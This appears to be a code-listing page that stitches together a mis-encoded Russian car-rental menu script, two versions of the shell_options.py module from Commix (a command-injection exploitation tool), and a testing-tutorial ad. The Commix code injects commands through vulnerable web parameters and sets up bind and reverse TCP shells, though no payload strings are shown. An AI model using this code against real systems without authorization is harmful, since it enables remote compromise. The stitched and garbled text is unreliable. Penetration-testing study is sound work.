оÑиÑе добавиÑÑ ÑлеменÑ:")307 print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))308 print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))309 print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))310 print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))311 print("\t\t %s 5. ÐвÑомобили" % (cur[4]))312 print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))313 print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))314def show_request_hrd_list_menu(cur):315 os.system("clear")316 print("\n\n\t\tÐÑбеÑиÑе Ñежим:")317 print("\t\t %s ÐапÑÐ¾Ñ \"ÐÑдел кадÑов\"" % (cur[0]))318 print("\t\t %s ФилÑÑÑ Ð´Ð»Ñ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ ÑоÑÑÑдников оÑделÑнÑÑ
должноÑÑей" % (cur[1]))319def show_request_autopark_list_menu(cur):320 os.system("clear")321 print("\n\n\t\tÐÑбеÑиÑе Ñежим:")322 print("\t\t %s ÐапÑÐ¾Ñ \"ÐвÑопаÑк\"" % (cur[0]))323 print("\t\t %s ФилÑÑÑ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð°Ð²Ñомобилей оÑделÑнÑÑ
маÑок" % (cur[1]))324 print("\t\t %s ФилÑÑÑ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð°Ð²Ñомобилей, наÑ
одÑÑиÑ
ÑÑ Ð¸ не наÑ
одÑÑиÑ
ÑÑ Ð² пÑокаÑе" % (cur[2]))325 print("\t\t %s ФилÑÑÑ Ð´Ð»Ñ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð°Ð²Ñомобилей вÑданнÑÑ
и возвÑаÑÑннÑÑ
в опÑеделÑннÑÑ Ð´Ð°ÑÑ" % (cur[3]))326 print("\t\t %s ФилÑÑÑ Ð¾Ð¿Ð»Ð°ÑеннÑÑ
и не оплаÑеннÑÑ
авÑомобилей в пÑокаÑе" % (cur[4]))327def show_info():328 os.system("clear")329 print("\n\n\t\tСпÑавка:\n")330 print("\t\tÐÐ»Ñ ÑпÑÐ°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼ÐµÐ½Ñ Ð¸ÑполÑзÑÑÑÑÑ ÐºÐ»Ð°Ð²Ð¸Ð°ÑÑÑнÑе ÑÑÑелки")331 print("\t\tлибо vi-подобнÑе клавиÑи ÑпÑавлениÑ:")332 print("\t\t^ или k -- пеÑемеÑение ввеÑÑ
")333 print("\t\tv или j -- пеÑемеÑение вниз")334 print("\t\t< или h или Esc -- пеÑемеÑение назад по менÑ")335 print("\t\t> или l или Enter -- вÑÐ±Ð¾Ñ Ð¿ÑнкÑа менÑ\n")336 print("\t\tÐÑполнил кÑÑÑовой пÑоекÑ: блаблабла\n") # TODO: поÑÑÐ°Ð²Ñ ÑÑда Ñвое имÑ337 print("\t\tÐажмиÑе < или h или Esc, ÑÑÐ¾Ð±Ñ Ð²ÑйÑи в главное менÑ.")338def go_back():339 while True:340 os.system("stty raw -echo")341 c = sys.stdin.read(1)342 os.system("stty -raw echo")343 if c == 'h':...
shell_options.py
Source:shell_options.py
1#!/usr/bin/env python2# encoding: UTF-83"""4This file is part of Commix Project (https://commixproject.com).5Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).6This program is free software: you can redistribute it and/or modify7it under the terms of the GNU General Public License as published by8the Free Software Foundation, either version 3 of the License, or9(at your option) any later version.10 11For more see the file 'readme/COPYING' for copying permission.12"""13import re14import os15import sys16import time17from src.utils import logs18from src.utils import menu19from src.utils import settings20from src.core.shells import bind_tcp21from src.core.shells import reverse_tcp22from src.core.injections.controller import checks23from src.thirdparty.six.moves import urllib as _urllib24from src.thirdparty.colorama import Fore, Back, Style, init25from src.core.injections.results_based.techniques.classic import cb_injector26from src.core.injections.results_based.techniques.eval_based import eb_injector27from src.core.injections.semiblind.techniques.file_based import fb_injector28"""29Check for established connection30"""31def check_established_connection():32 while True:33 time.sleep(1)34 if settings.VERBOSITY_LEVEL == 1:35 print(settings.SINGLE_WHITESPACE)36 warn_msg = "Something went wrong with the reverse TCP connection."37 warn_msg += " Please wait while checking state."38 print(settings.print_warning_msg(warn_msg))39 lines = os.popen('netstat -anta').read().split("\n")40 for line in lines:41 if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line:42 pass43 else:44 return 45"""46Execute the bind / reverse TCP shell47"""48def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE):49 if settings.EVAL_BASED_STATE != False:50 # Command execution results.51 start = time.time()52 response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)53 end = time.time()54 diff = end - start55 # Evaluate injection results.56 shell = eb_injector.injection_results(response, TAG, cmd)57 else:58 # Command execution results.59 start = time.time()60 if settings.FILE_BASED_STATE == True:61 response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)62 else:63 whitespace = settings.WHITESPACES[0]64 if whitespace == " ":65 whitespace = _urllib.parse.quote(whitespace) 66 response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)67 end = time.time()68 diff = end - start69 # Evaluate injection results.70 shell = cb_injector.injection_results(response, TAG, cmd)71 if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6):72 check_established_connection()73 else:74 if settings.VERBOSITY_LEVEL == 1:75 print(settings.SINGLE_WHITESPACE)76 err_msg = "The " + os_shell_option.split("_")[0] + " "77 err_msg += os_shell_option.split("_")[1].upper() + " connection has failed."78 print(settings.print_critical_msg(err_msg))79"""80Configure the bind TCP shell81"""82def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):83 settings.BIND_TCP = True84 # Set up RHOST / LPORT for the bind TCP connection.85 bind_tcp.configure_bind_tcp(separator)86 if settings.BIND_TCP == False:87 if settings.REVERSE_TCP == True:88 os_shell_option = "reverse_tcp"89 reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)90 return go_back, go_back_again91 while True:92 if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:93 result = checks.check_bind_tcp_options(settings.RHOST)94 else: 95 cmd = bind_tcp.bind_tcp_options(separator)96 result = checks.check_bind_tcp_options(cmd)97 if result != None:98 if result == 0:99 go_back_again = False100 elif result == 1 or result == 2:101 go_back_again = True102 settings.BIND_TCP = False103 elif result == 3:104 settings.BIND_TCP = False105 reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) 106 return go_back, go_back_again107 # execute bind TCP shell 108 execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)109"""110Configure the reverse TCP shell111"""112def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):113 settings.REVERSE_TCP = True114 # Set up LHOST / LPORT for the reverse TCP connection.115 reverse_tcp.configure_reverse_tcp(separator)116 if settings.REVERSE_TCP == False:117 if settings.BIND_TCP == True:118 os_shell_option = "bind_tcp"119 bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)120 return go_back, go_back_again121 while True:122 if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:123 result = checks.check_reverse_tcp_options(settings.LHOST)124 else: 125 cmd = reverse_tcp.reverse_tcp_options(separator)126 result = checks.check_reverse_tcp_options(cmd)127 if result != None:128 if result == 0:129 go_back_again = False130 elif result == 1 or result == 2:131 go_back_again = True132 settings.REVERSE_TCP = False133 elif result == 3:134 settings.REVERSE_TCP = False135 bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)136 #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) 137 return go_back, go_back_again138 # execute reverse TCP shell 139 execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)140"""141Check commix shell options142"""143def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE):144 os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 145 if os_shell_option == "back" or os_shell_option == True or os_shell_option == False:146 go_back = True147 if os_shell_option == False:148 go_back_again = True149 return go_back, go_back_again150 # The "os_shell" option151 elif os_shell_option == "os_shell": 152 warn_msg = "You are already into the '" + os_shell_option + "' mode."153 print(settings.print_warning_msg(warn_msg))154 return go_back, go_back_again155 # The "bind_tcp" option156 elif os_shell_option == "bind_tcp":157 go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)158 return go_back, go_back_again159 # The "reverse_tcp" option160 elif os_shell_option == "reverse_tcp":161 go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)162 return go_back, go_back_again163 # The "quit" option164 elif os_shell_option == "quit": 165 logs.print_logs_notification(filename, url) 166 raise SystemExit()167 else:...
12425_shell_options.py
Source:12425_shell_options.py
1#!/usr/bin/env python2# encoding: UTF-83"""4This file is part of Commix Project (http://commixproject.com).5Copyright (c) 2014-2017 Anastasios Stasinopoulos (@ancst).6This program is free software: you can redistribute it and/or modify7it under the terms of the GNU General Public License as published by8the Free Software Foundation, either version 3 of the License, or9(at your option) any later version.10 11For more see the file 'readme/COPYING' for copying permission.12"""13import re14import os15import sys16import time17import urllib18import urlparse19from src.utils import menu20from src.utils import settings21from src.core.injections.controller import checks22from src.thirdparty.colorama import Fore, Back, Style, init23from src.core.shells import bind_tcp24from src.core.shells import reverse_tcp25from src.core.injections.results_based.techniques.classic import cb_injector26from src.core.injections.results_based.techniques.eval_based import eb_injector27from src.core.injections.semiblind.techniques.file_based import fb_injector28"""29Check for established connection30"""31def check_established_connection():32 while True:33 if settings.VERBOSITY_LEVEL == 1:34 print ""35 warn_msg = "Something went wrong with the reverse TCP connection."36 warn_msg += " Please wait while checking state."37 print settings.print_warning_msg(warn_msg)38 time.sleep(10)39 lines = os.popen('netstat -anta').read().split("\n")40 found = False41 for line in lines:42 if "ESTABLISHED" in line and settings.LPORT in line.split():43 found = True44 pass45 if not found:46 return 47"""48Execute the bind / reverse TCP shell49"""50def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE):51 if settings.EVAL_BASED_STATE != False:52 # Command execution results.53 start = time.time()54 response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)55 end = time.time()56 diff = end - start57 # Evaluate injection results.58 shell = eb_injector.injection_results(response, TAG, cmd)59 else:60 # Command execution results.61 start = time.time()62 if settings.FILE_BASED_STATE == True:63 response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)64 else:65 whitespace = settings.WHITESPACE[0]66 if whitespace == " ":67 whitespace = urllib.quote(whitespace) 68 response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)69 end = time.time()70 diff = end - start71 # Evaluate injection results.72 shell = cb_injector.injection_results(response, TAG, cmd)73 if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6):74 check_established_connection()75 else:76 if settings.VERBOSITY_LEVEL == 1:77 print ""78 err_msg = "The " + os_shell_option.split("_")[0] + " "79 err_msg += os_shell_option.split("_")[1].upper() + " connection has failed!"80 print settings.print_critical_msg(err_msg)81"""82Configure the bind TCP shell83"""84def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):85 settings.BIND_TCP = True86 # Set up RHOST / LPORT for the bind TCP connection.87 bind_tcp.configure_bind_tcp()88 if settings.BIND_TCP == False:89 if settings.REVERSE_TCP == True:90 os_shell_option = "reverse_tcp"91 reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)92 return go_back, go_back_again93 while True:94 if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:95 result = checks.check_bind_tcp_options(settings.RHOST)96 else: 97 cmd = bind_tcp.bind_tcp_options()98 result = checks.check_bind_tcp_options(cmd)99 if result != None:100 if result == 0:101 go_back_again = False102 elif result == 1 or result == 2:103 go_back_again = True104 settings.BIND_TCP = False105 elif result == 3:106 settings.BIND_TCP = False107 reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) 108 return go_back, go_back_again109 # execute bind TCP shell 110 execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)111"""112Configure the reverse TCP shell113"""114def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):115 settings.REVERSE_TCP = True116 # Set up LHOST / LPORT for the reverse TCP connection.117 reverse_tcp.configure_reverse_tcp()118 if settings.REVERSE_TCP == False:119 if settings.BIND_TCP == True:120 os_shell_option = "bind_tcp"121 bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)122 return go_back, go_back_again123 while True:124 if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:125 result = checks.check_reverse_tcp_options(settings.LHOST)126 else: 127 cmd = reverse_tcp.reverse_tcp_options()128 result = checks.check_reverse_tcp_options(cmd)129 if result != None:130 if result == 0:131 go_back_again = False132 elif result == 1 or result == 2:133 go_back_again = True134 settings.REVERSE_TCP = False135 elif result == 3:136 settings.REVERSE_TCP = False137 bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)138 #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) 139 return go_back, go_back_again140 # execute reverse TCP shell 141 execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)142"""143Check commix shell options144"""145def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE):146 os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 147 if os_shell_option == "back" or os_shell_option == True or os_shell_option == False:148 go_back = True149 if os_shell_option == False:150 go_back_again = True151 return go_back, go_back_again152 # The "os_shell" option153 elif os_shell_option == "os_shell": 154 warn_msg = "You are already into the '" + os_shell_option + "' mode."155 print settings.print_warning_msg(warn_msg)156 return go_back, go_back_again157 # The "bind_tcp" option158 elif os_shell_option == "bind_tcp":159 go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)160 return go_back, go_back_again161 # The "reverse_tcp" option162 elif os_shell_option == "reverse_tcp":163 go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)164 return go_back, go_back_again165 # The "quit" option166 elif os_shell_option == "quit": 167 sys.exit(0)168 else:...
LambdaTest’s Playwright tutorial will give you a broader idea about the Playwright automation framework, its unique features, and use cases with examples to exceed your understanding of Playwright testing. This tutorial will give A to Z guidance, from installing the Playwright framework to some best practices and advanced concepts.
Get 100 minutes of automation test minutes FREE!!